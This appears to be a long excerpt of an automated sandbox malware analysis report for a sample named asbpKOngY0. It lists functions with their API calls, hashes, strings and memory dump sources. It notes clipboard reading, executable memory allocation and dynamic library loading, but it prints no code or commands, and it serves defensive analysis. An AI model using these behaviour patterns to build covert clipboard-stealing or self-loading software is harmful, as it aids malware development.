Opcode Fuzzy Hash: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction Fuzzy Hash: 8CF081B180D61496FA107BB56B0A26A3E786F20354F10063FE8C2751C2EE3D444952BF

Uniqueness

Uniqueness Score: -1.00%

Function 0042D608 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042D6B9
GetSystemMetrics.USER32 ref: 0042D6CA

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: 9f3c4366f6acc61bef91b6474569325c5038b687278105cc48c3da76987b540e
Instruction ID: e31df5cf53579e26f0d038b5bc67af8e11bea7006768dfca6b49015060dc1ea9
Opcode Fuzzy Hash: 9f3c4366f6acc61bef91b6474569325c5038b687278105cc48c3da76987b540e
Instruction Fuzzy Hash: D53154B4A10B009FD360DF3DC945A22BBE8FB0C600B100A2DE99AC7B50E734B8448B96

Uniqueness

Uniqueness Score: -1.00%

Function 00417810 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041784A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041787E

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 591883fc8cc7e98f5393b82a229ecb00a65222f46bfedd7c35e61c2a286ee97b
Instruction ID: 5e955635065adc13492d4d85393db762cd4c4b4ecf76f0ca5c4caab7127c9149
Opcode Fuzzy Hash: 591883fc8cc7e98f5393b82a229ecb00a65222f46bfedd7c35e61c2a286ee97b
Instruction Fuzzy Hash: EF0104719082047BE7109B65DC86FA77BACEB86774F044629F965C72D0E730A814CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 02FD0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02FD0223,?,?), ref: 02FD0E19
SetErrorMode.KERNELBASE(00000000,?,?,02FD0223,?,?), ref: 02FD0E1E

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4229f5ba1c7fd429fd1312c31762adb54660f05b78822602910946ef68ea193a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 98D0123154512877D7002AA4DC09BCD7B1CDF05BA6F048011FB0DD9080CB70954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00427F5A Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00428071

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 92e831a09bc4f936f48e8eeb5ce323eeb4de5efd6650885b8006177c34b915f1
Instruction ID: 185172400866e4ae2881ea4d0131f492a55f0fd6362865a65d31d09921d293dc
Opcode Fuzzy Hash: 92e831a09bc4f936f48e8eeb5ce323eeb4de5efd6650885b8006177c34b915f1
Instruction Fuzzy Hash: 42416870208B82DFC324CF28C498716BBE1BB89314F04465DD4EA8BB91DB35E659CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00427F84 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00428071

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: bf016d29e845508b4c29d0072d113b8df78977f943dd86dea3f8dc8c8d2ed8b8
Instruction ID: 21573400e3ca828b42bd540557a661cbeabd0db8bcf4d465cb8ddca8d915cba3
Opcode Fuzzy Hash: bf016d29e845508b4c29d0072d113b8df78977f943dd86dea3f8dc8c8d2ed8b8
Instruction Fuzzy Hash: 9A414770108B829FD315CF28C498746FFE0BB5A314F04875DD0EA8BB91D775A619CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00436209 Relevance: 1.6, APIs: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043638B

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 58b5376ab79715266d38842c771b014d24dd78366dfdce20fb51004989b06f61
Instruction ID: 57a5b52b1dba13f0fb7b71c5e03f91b2e2e218f0aa26cdb764fcf0a20072f155
Opcode Fuzzy Hash: 58b5376ab79715266d38842c771b014d24dd78366dfdce20fb51004989b06f61
Instruction Fuzzy Hash: 65410770509342AFE708DF11C5A072BBBE2EFCA709F15991CE0851B381C779C94A8F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00435F1F Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00436001

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cf479fc7f12fc99e722106fa3c3008013ec3b7fe3fd27b656824b1d85b0085cc
Instruction ID: 23712f21be747c25dae20e80d5a1b49733b7d245948cfec0266e9d122107ec55
Opcode Fuzzy Hash: cf479fc7f12fc99e722106fa3c3008013ec3b7fe3fd27b656824b1d85b0085cc
Instruction Fuzzy Hash: 3B219074519301ABD308CF20DAA072F7BE2AB86308F158A2DF48557251EB35C9058B8A

Uniqueness

Uniqueness Score: -1.00%

Function 00433B50 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00433BF1

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 54449b854ee1baebf3dc2fe8c903120477d739f3de66941c925630f34d378c1f
Instruction ID: 0fd3648b48a7544cf81d28ba84819feb0670e69c12155dd868ef03761d14a466
Opcode Fuzzy Hash: 54449b854ee1baebf3dc2fe8c903120477d739f3de66941c925630f34d378c1f
Instruction Fuzzy Hash: F9111871208301AFD704CF15D46475BFBE5EBC5329F108A1DE8A90B691CB79EA09CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 004375CD Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00437658

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc0bdeeb390416a8005f9aaf9f86a7cb8d3b6ea8d4e88d9dbda576cfd526ac67
Instruction ID: 13577f52a53989cb91e50d4060b8e90c8ca223ec1dc92ff7deb6a5357cfe3386
Opcode Fuzzy Hash: cc0bdeeb390416a8005f9aaf9f86a7cb8d3b6ea8d4e88d9dbda576cfd526ac67
Instruction Fuzzy Hash: F30120715083519FE310CF04D99470FBBA2EBC4328F248A4DE8A82B285D375E9098BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00433C2A Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00433CB4

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 568252abd8bdcc9c59ee4889d44cb61b75dc80544815d0b9ec631bb4bbfb7d65
Instruction ID: 6d027317d9507f32588684f48b86e6a4e16b8ed02588133254db7ad3e02295f4
Opcode Fuzzy Hash: 568252abd8bdcc9c59ee4889d44cb61b75dc80544815d0b9ec631bb4bbfb7d65
Instruction Fuzzy Hash: 1C01C8701083409FE314CF10C46471BBBE1EBC9328F208E4DE8A917691C779D949CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 02D17E55 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02D17EA6

Memory Dump Source

Source File: 00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d17000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 752b13bf1dba2c454f4d7d1320f49ff377d52c6dfa3ded701ffcf31ecff2dbd2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1D112779A00208EFDB01DF98C985E99BBF5AB08350F1580A4F9489B361D771EA90EF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042C500 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(?,?), ref: 0042C541
OpenClipboard.USER32 ref: 0042C553
GetClipboardData.USER32 ref: 0042C576
CloseClipboard.USER32 ref: 0042C6AD

Strings

8, xrefs: 0042C612
9, xrefs: 0042C5F6
7, xrefs: 0042C60A
;, xrefs: 0042C5FE
:, xrefs: 0042C606

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction ID: ec00451678d786202fcc9b385dd1a0758b5b4489dde3fc94fbb9c3a647e150fa
Opcode Fuzzy Hash: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction Fuzzy Hash: 9E51CFB0608790DFC720DF38E18571ABBE0AF15314F54895ED8DA8B642D338E946DB6B

Uniqueness

Uniqueness Score: -1.00%

Function 02FD49A7 Relevance: 5.5, Strings: 4, Instructions: 501COMMON

Download Yara Rule

Strings

IDAT, xrefs: 02FD4E6C
), xrefs: 02FD4A54
IEND, xrefs: 02FD4EE5
IHDR, xrefs: 02FD4DF0

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 4ccdbaa75ae868ee336c7b0459e5c41996805ad7b9ec11b17da927287f3cb160
Instruction ID: 6cc32cbd43ecd317fde2fe074d6ad7fee46c917b2f081dd0a0ca34c23f6e727c
Opcode Fuzzy Hash: 4ccdbaa75ae868ee336c7b0459e5c41996805ad7b9ec11b17da927287f3cb160
Instruction Fuzzy Hash: F41206B1A043859FDB04CF28CC9476A7BE2EF85344F08856DFA858B391D379D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02FD092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 02FD09DC, 02FD09DF, 02FD09E4
., xrefs: 02FD095F
l, xrefs: 02FD0966

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 3341a8123ce215edced153df414e6e7c86a08e6edc46484267702d97fe0b0337
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 1C3139B6900609DFDB10CF99C880AAEBBF6FF48364F19404AD541A7350DB71EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004052F0 Relevance: 3.4, Strings: 2, Instructions: 851COMMON

Download Yara Rule

Strings

0, xrefs: 00405C8A
8, xrefs: 00405C82

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 74219af944f1d0cf607542fdc4b406d5d0331be3774f0d6c31aafd409cb9e22a
Instruction ID: e90677fc5bc6961723399dbea62cc0af4d041e1e5ad0231ce18586d502c8b4a7
Opcode Fuzzy Hash: 74219af944f1d0cf607542fdc4b406d5d0331be3774f0d6c31aafd409cb9e22a
Instruction Fuzzy Hash: 5B7245716087409FD714CF18C880B9BBBE2EF98314F58892EE98997391D379D984CF96

Uniqueness

Uniqueness Score: -1.00%

Function 02FD55DB Relevance: 3.3, Strings: 2, Instructions: 809COMMON

Download Yara Rule

Strings

0, xrefs: 02FD5EF1
8, xrefs: 02FD5EE9

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 1159ab4a8af15f81d356408494dcd2cb53999e129f3fd7c2265e99bb87108bde
Instruction ID: b6c1c02ec2c52b0860339eb140df8e91cd12ebefeafd8f313a05871ff56657be
Opcode Fuzzy Hash: 1159ab4a8af15f81d356408494dcd2cb53999e129f3fd7c2265e99bb87108bde
Instruction Fuzzy Hash: 15727A756083409FD724CF18C890B9ABBE2BF84394F48892DFA998B391D775D944CF92

Uniqueness

Uniqueness Score: -1.00%

Function 02FF3BAA Relevance: 3.1, Strings: 2, Instructions: 643COMMON

Download Yara Rule

Strings

Z8J*, xrefs: 02FF4C82
+u7, xrefs: 02FF4D48

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: +u7$Z8J*
API String ID: 0-3577212644
Opcode ID: 136a0e178bc15a717095d99fc1853dd9a03ca692159141228eba0c7e471279e9
Instruction ID: eb6c8f6d3015519c0fb4cd2c4dbed50f2835cf47b7eef3cefe9f59c548e84d23
Opcode Fuzzy Hash: 136a0e178bc15a717095d99fc1853dd9a03ca692159141228eba0c7e471279e9
Instruction Fuzzy Hash: 08328074544B828AD725CF34C4A4BF3BBE1AF56348F08496CD2FB8B692D779A006CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02FD1267 Relevance: 3.0, Strings: 2, Instructions: 518COMMON

Download Yara Rule

Strings

, xrefs: 02FD1530
JC, xrefs: 02FD1375

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: $JC
API String ID: 0-571460022
Opcode ID: 8237440b2d564ce322f90f5c6f76332585ae6391083ee7ebcefec0e17e6b40ae
Instruction ID: fcd5909770e9827373128328e18ef0d1f54dc8b2432b31ecc3dbaee8063ee329
Opcode Fuzzy Hash: 8237440b2d564ce322f90f5c6f76332585ae6391083ee7ebcefec0e17e6b40ae
Instruction Fuzzy Hash: 17120575A087858BE7248E15C05036BBBE39B82394F1CCA5ED6DE477D2D378D449CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00439AF0 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00439C80
R-,T, xrefs: 00439B90

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 900eeadd4549f363bc7d3d398da917046e8483a8b84d24d15de9a3ff9edd1ce0
Instruction ID: 6b83697ab9183c4f383082baa5586d9202c04d839401bfe1d176d3d13e2e3641
Opcode Fuzzy Hash: 900eeadd4549f363bc7d3d398da917046e8483a8b84d24d15de9a3ff9edd1ce0
Instruction Fuzzy Hash: B2A1CC71A043128BCB24CF18C49066FB7E1FF88724F199A1DE8959B391D778EC51CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 03009D57 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 03009DF7
R-,T, xrefs: 03009EE7

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: cd5dd1e870cf72724b0d866ceb1e3723b186c0745ae19588130c5378219dccae
Instruction ID: 5a4ed35a884bdc373f6a657a5f3953373a223453189455b1742408bbbd8505ef
Opcode Fuzzy Hash: cd5dd1e870cf72724b0d866ceb1e3723b186c0745ae19588130c5378219dccae
Instruction Fuzzy Hash: F4A1CD71A053128BE714CF18C490B6BF3E1FF88324F198A5CE8959B3A2D735E855CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00413E4A Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

", xrefs: 00414057
Z%_#, xrefs: 00413F49

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction ID: 76f333f57adbc6c8ebcadfef8fb2acd4b1b22d2439071723875123babc06b249
Opcode Fuzzy Hash: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction Fuzzy Hash: 2C61FCB0101B419BE3258F21D8A97E7BBE1FF46349F54890DD1EB4B281DBBA6149CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02FE40B1 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

Z%_#, xrefs: 02FE41B0
", xrefs: 02FE42BE

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction ID: 07b77e49efcbce8797c11d18be97c77508be34e31f3ebd758328d0feb0ca28bf
Opcode Fuzzy Hash: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction Fuzzy Hash: BF61FEB0501B819BE7258F20C8A9BE7BBE1FF46349F54890CC1EB4B281D7B66149CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02FE4EB0 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

F, xrefs: 02FE4FA3, 02FE5BEB
onqp, xrefs: 02FE4F25

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: onqp$F
API String ID: 0-3477909023
Opcode ID: 5636853cdc4e6313a43929cd248a86b0bcf19cc5822eacfbfe171bbd9458d07b
Instruction ID: bd7ce5d260f7d24dd3c6b72508e4c016e011210485128d9d5f807a03a53c6134
Opcode Fuzzy Hash: 5636853cdc4e6313a43929cd248a86b0bcf19cc5822eacfbfe171bbd9458d07b
Instruction Fuzzy Hash: 97216078A193818BD728CF04C4A076FB7E2AFC6748F54152CEA868B781C77598018B97

Uniqueness

Uniqueness Score: -1.00%

Function 02FF42EB Relevance: 1.9, Strings: 1, Instructions: 676COMMON

Download Yara Rule

Strings

P6D/, xrefs: 02FF4786

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: P6D/
API String ID: 0-4117495492
Opcode ID: a840cc439b2e62fd33296f488684244062af140e18fd85e7f9474e6811fbe092
Instruction ID: ba801276540c1941a00720066de712c86c6453eb3861eba735c2d41e2ed19059
Opcode Fuzzy Hash: a840cc439b2e62fd33296f488684244062af140e18fd85e7f9474e6811fbe092
Instruction Fuzzy Hash: CB328170504B828AE725CF34C4A4BE3BBE1AF17349F08496CD6FB8B692D7796006CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02FF42EE Relevance: 1.9, Strings: 1, Instructions: 650COMMON

Download Yara Rule

Strings

P6D/, xrefs: 02FF4786

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: P6D/
API String ID: 0-4117495492
Opcode ID: c16701a6ed728ec4d9e005f966cae99fdda97c22a307ae63ec63ddceca2a6b7b
Instruction ID: a6e0b9c279dcc73049ed57df382c105825c0749509c020b6aab09116bdf9b418
Opcode Fuzzy Hash: c16701a6ed728ec4d9e005f966cae99fdda97c22a307ae63ec63ddceca2a6b7b
Instruction Fuzzy Hash: 29328170504B828AE725CF34C4A4BE3BBE1BF16349F08496CD6FB8B692D7796046CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02FEC7A7 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 02FECACD

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 484dc11344905c3ebec77af382d47984beb26b877959679f2d85a1e54cd5bce5
Instruction ID: fee3ad525d066974a4c478f949b67aa640ce426a158949c467ca91da2d189c22
Opcode Fuzzy Hash: 484dc11344905c3ebec77af382d47984beb26b877959679f2d85a1e54cd5bce5
Instruction Fuzzy Hash: B1A1F3B19043018BDB15DF18C8A1B7BB7E1FF91794F08451EE69297290E374EA14CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8C0 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 0041AB46

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 576b50878007f57056aa4ec584ddbe303c73b910b04e5cf17aa30e054ff9cf9e
Instruction ID: 9a6a00b11931bfd5125c6228de1fad642e1a8a21050320c2279e65f0c98fc608
Opcode Fuzzy Hash: 576b50878007f57056aa4ec584ddbe303c73b910b04e5cf17aa30e054ff9cf9e
Instruction Fuzzy Hash: BF8135B19052018BD710DF14C852BBBB3B5EF81368F19451EE89657381E378EDA1C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 02FEAB27 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 02FEADAD

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 2051f58950d6556b3dc70e8865951f271fa6186780459c926919e30a701ddc1f
Instruction ID: bbb1354e24613a9b1d461afe62e4b2188465ad536ccaffd70c487d0a14b061e1
Opcode Fuzzy Hash: 2051f58950d6556b3dc70e8865951f271fa6186780459c926919e30a701ddc1f
Instruction Fuzzy Hash: B981F2B2A042019BDB16DF14CC91B7BB3B5EF813A4F09461CEA975B390E371E945C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0041A420 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

'QRS, xrefs: 0041A556

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

